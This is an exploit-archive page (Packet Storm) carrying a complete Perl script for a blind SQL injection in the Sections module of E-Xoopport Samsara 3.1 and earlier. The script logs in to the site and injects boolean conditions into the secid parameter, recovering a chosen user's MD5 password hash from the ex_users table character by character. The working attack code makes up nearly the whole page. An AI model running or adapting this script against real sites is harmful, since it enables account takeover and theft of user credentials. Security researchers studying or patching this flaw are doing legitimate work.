exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

E-Xoopport - Samsara 3.1 Blind SQL Injection

E-Xoopport - Samsara 3.1 Blind SQL Injection
Posted Sep 15, 2010
Authored by Dante90, _mRkZ_ | Site warwolfz.org

E-Xoopport - Samsara versions 3.1 and below suffer from a remote blind SQL injection vulnerability.

tags | exploit, remote, sql injection
SHA-256 | 5a161f64103a1904ad4980ffefa02e1b3c638e7dd94c6375785551c87317c3f2
Download | Favorite | View

E-Xoopport - Samsara 3.1 Blind SQL Injection

Change Mirror Download
#!/usr/bin/perl
# [0-Day] E-Xoopport - Samsara <= v3.1 (Sections Module 2) Remote Blind SQL Injection Exploit
# Author/s: _mRkZ_ & Dante90, WaRWolFz Crew
# Created: 2010.09.12 after 0 days the bug was discovered.
# Web Site: www.warwolfz.org
 
use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Request::Common;
 
$^O eq 'MSWin32' ? system('cls') : system('clear');
 
print "
E-Xoopport - Samsara <= v3.1 (Sections Module) Remote Blind SQL Injection Exploit
+---------------------------------------------------+
| Script: E-Xoopport                                |
| Affected versions: 3.1                            |
| Bug: Remote Blind SQL Injection (Sections Module) |
| Author/s: _mRkZ_ & Dante90, WaRWolFz Crew         |
| Web Site: www.warwolfz.org                        |
+---------------------------------------------------+
";
 
if (@ARGV != 4) {
    print "\r\nUsage: perl expolit_name.pl <VictimeHost> <YourNick> <YourPass> <NickToHack>\r\n";
    exit;
}
 
$host    = $ARGV[0];
$usr     = $ARGV[1];
$pwd     = $ARGV[2];
$anickde = $ARGV[3];
$anick   = '0x'.EncHex($anickde);
 
print "[+] Logging In...\r\n";
my %postdata = (
    uname => "$usr",
    pass => "$pwd"
);
$ua = LWP::UserAgent->new;
$ua->agent("Mozilla 5.0");
my $req     = (POST $host, \%postdata);
my $cookies = HTTP::Cookies->new();
$request    = $ua->request($req);
$ua->cookie_jar($cookies);
$content    = $request->content;
if ($content =~ /<head><meta http-equiv="Refresh" content="0; URL=modules\/news\/" \/><\/head>/i) {
    print "[+] Logged in\r\n";
} else {
    print "[-] Fatal Error: username/password incorrect?\r\n";
    exit;
}
 
print "[!] Retriving section id...\r\n";
$idi = 0;
while ($idi != 11) {
    $idi++;
    $ua = LWP::UserAgent->new;
    $ua->agent("Mozilla 5.0");
    my $req     = $host."/modules/sections/index.php?op=listarticles&secid=$idi";
    $request    = $ua->get($req);
    $ua->cookie_jar($cookies);
    $content    = $request->content;
    if ($content =~ /<center>Ecco i documenti della sezione <b>(.+)<\/b>/ig) {
        $secid = $idi;
        last;
    }
}
 
if(!defined $secid) {
    print "[-] Fatal Error: Section id not found!\r\n";
    exit;
} else {
    print "[+] Section id '$secid' retrieved\r\n";
}
 
print "[!] Checking path...\r\n";
$ua = LWP::UserAgent->new;
$ua->agent("Mozilla 5.0");
my $req     = $host."/modules/sections/index.php?op=listarticles&secid=$secid";
$request    = $ua->get($req);
$ua->cookie_jar($cookies);
$content    = $request->content;
if ($content =~ /Ecco i documenti della sezione/i) {
    print "[+] Correct Path\r\n";
} else {
    print "[-] Fatal Error: Wrong Path\r\n";
    exit;
}
 
print "[!] Checking if vulnerability has been fixed...\r\n";
$ua = LWP::UserAgent->new;
$ua->agent("Mozilla 5.0");
my $req     = $host."/modules/sections/index.php?op=listarticles&secid=$secid+AND+1=1";
$request    = $ua->get($req);
$ua->cookie_jar($cookies);
$content    = $request->content;
if ($content =~ /<center>Ecco i documenti della sezione <b>(.+)<\/b>/ig) {
    print "[+] Vulnerability has not been fixed...\r\n";
} else {
    print "[-] Fatal Error: Vulnerability has been fixed\r\n";
    open LOGG, ">log.html";
    print LOGG $content;
    close LOGG;
    exit;
}
 
print "[!] Checking nick to hack...\r\n";
$ua = LWP::UserAgent->new;
$ua->agent("Mozilla 5.0");
my $req     = $host."/modules/sections/index.php?op=listarticles&secid=$secid+AND+ascii(substring((SELECT+pass+FROM+ex_users+WHERE+uname=$anick+LIMIT+0,1),32,1))>0";
$request    = $ua->get($req);
$ua->cookie_jar($cookies);
$content    = $request->content;
if ($content =~ /<center>Ecco i documenti della sezione <b>(.+)<\/b>/ig) {
    print "[+] Nick exists...\r\n";
} else {
    print "[-] Fatal Error: Nick does not exists\r\n";
    exit;
}
 
print "[!] Exploiting...\r\n";
my $i = 1;
while ($i != 33) {
    my $wn  = 47;
    while (1) {
        $wn++;
        $ua = LWP::UserAgent->new;
        $ua->agent("Mozilla 5.0");
        my $req     = $host."/modules/sections/index.php?op=listarticles&secid=$secid+AND+ascii(substring((SELECT+pass+FROM+ex_users+WHERE+uname=$anick+LIMIT+0,1),$i,1))=$wn";
        $request    = $ua->get($req);
        $ua->cookie_jar($cookies);
        $content    = $request->content;
        if ($content =~ /<center>Ecco i documenti della sezione <b>(.+)<\/b>/ig) {
            $pwdchr .= chr($wn);
            $^O eq 'MSWin32' ? system('cls') : system('clear');
            PrintChars($anickde, $pwdchr, $secid);
            last;
        }
    }
    $i++;
}
 
print "\r\n[+] Exploiting completed!\r\n\r\n";
print "Visit: www.warwolfz.net\r\n\r\n";
 
sub PrintChars {
$anick1 = $_[0];
$chars = $_[1];
$secid = $_[2];
print "
E-Xoopport - Samsara <= v3.1 (Sections Module) Remote Blind SQL Injection Exploit
+---------------------------------------------------+
| Script: E-Xoopport                                |
| Affected versions: 3.1                            |
| Bug: Remote Blind SQL Injection (Sections Module) |
| Author/s: _mRkZ_ & Dante90, WaRWolFz Crew         |
| Web Site: www.warwolfz.org                        |
+---------------------------------------------------+
[+] Logging In...
[+] Logged in
[!] Retriving section id...
[+] Section id '$secid' retrived
[!] Checking path...
[+] Correct Path
[!] Checking if vulnerability has been fixed...
[+] Vulnerability has not been fixed...
[!] Checking nick to hack...
[+] Nick exists...
[!] Exploiting...
[+] ".$anick1."'s md5 Password: $chars
";
}
 
sub EncHex {
    $char = $_[0];
    chomp $char;
    @trans = unpack("H*", "$char");
    return $trans[0];
}

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Site Links
News by Month
News Tags
Files by Month
File Tags
File Directory
About Us
History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information
Services
Security Services
Hosting By
Rokasec
close